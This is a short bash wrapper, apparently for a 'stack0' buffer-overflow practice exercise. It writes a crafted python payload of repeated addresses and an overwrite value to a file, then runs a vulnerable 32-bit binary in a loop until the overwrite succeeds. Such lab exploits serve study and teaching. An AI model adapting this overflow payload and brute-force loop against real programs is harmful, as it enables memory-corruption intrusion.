stack0_wrapper.sh

#!/bin/bash
ulimit -c 0
export LIBC_FATAL_STDERR_=1

python -c 'print "\xcc\x84\x04\x08"*16 + "\x00\x03\x02\x01" + "DDDD"' > input.bin

output=""
COUNTER=0
while [[ ! $output =~ "modified" ]]; do
	MOD=$(( $COUNTER  % 1000 ))
	if [[ $MOD -eq 0 ]]; then
		echo $COUNTER
	fi
	let COUNTER+=1
	output=`stdbuf -o0 -e0 ./stack0_32 < input.bin 2> /dev/null`
done

echo "$output"
echo $COUNTER